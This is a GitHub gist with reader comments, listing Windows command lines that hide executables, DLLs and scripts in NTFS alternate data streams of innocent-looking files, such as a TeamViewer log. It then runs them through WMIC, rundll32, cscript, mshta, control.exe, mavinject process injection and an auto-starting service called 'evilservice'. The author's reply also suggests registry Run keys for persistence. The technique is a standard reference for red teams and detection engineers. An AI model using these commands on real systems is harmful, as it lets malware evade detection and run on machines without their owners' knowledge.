Skip to content

Instantly share code, notes, and snippets.

@api0cradle
Last active October 8, 2025 08:06
Show Gist options
  • Save api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f to your computer and use it in GitHub Desktop.
Save api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f to your computer and use it in GitHub Desktop.
Execute from Alternate Streams
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
#Executing the ADS content
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
@D4Vinci
Copy link

D4Vinci commented Apr 12, 2018

Great work man ,this helps a lot 😄

@api0cradle
Copy link
Author

Thanks. Good to hear.

@api0cradle
Copy link
Author

Hi. This is not persistence mechanisms. This is only ways of hiding programs withing ADS and ways of executing it. How to place your persistence is up to you. For instance a RUN key in registry could launch the WMIC command that execute data from an Alternate Data stream.

@webs3c
Copy link

webs3c commented Apr 27, 2018

"powershell Start-Process -FilePath xx.exe" can execute the file too~

@jmaravi
Copy link

jmaravi commented Jun 17, 2018

Will AV detect the malicious payload?

@curi0usJack
Copy link

@jmaravi - yes.

@zappermax
Copy link

What about if you needed to delete an ADS? Not just empty it.

@newaynewlife
Copy link

@adamick098
Copy link

good job my brother and Allah Almighty will help you

@MikronT
Copy link

MikronT commented Feb 15, 2022

That's incredible man

@lsecqt
Copy link

lsecqt commented Jan 11, 2025

Amazing!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment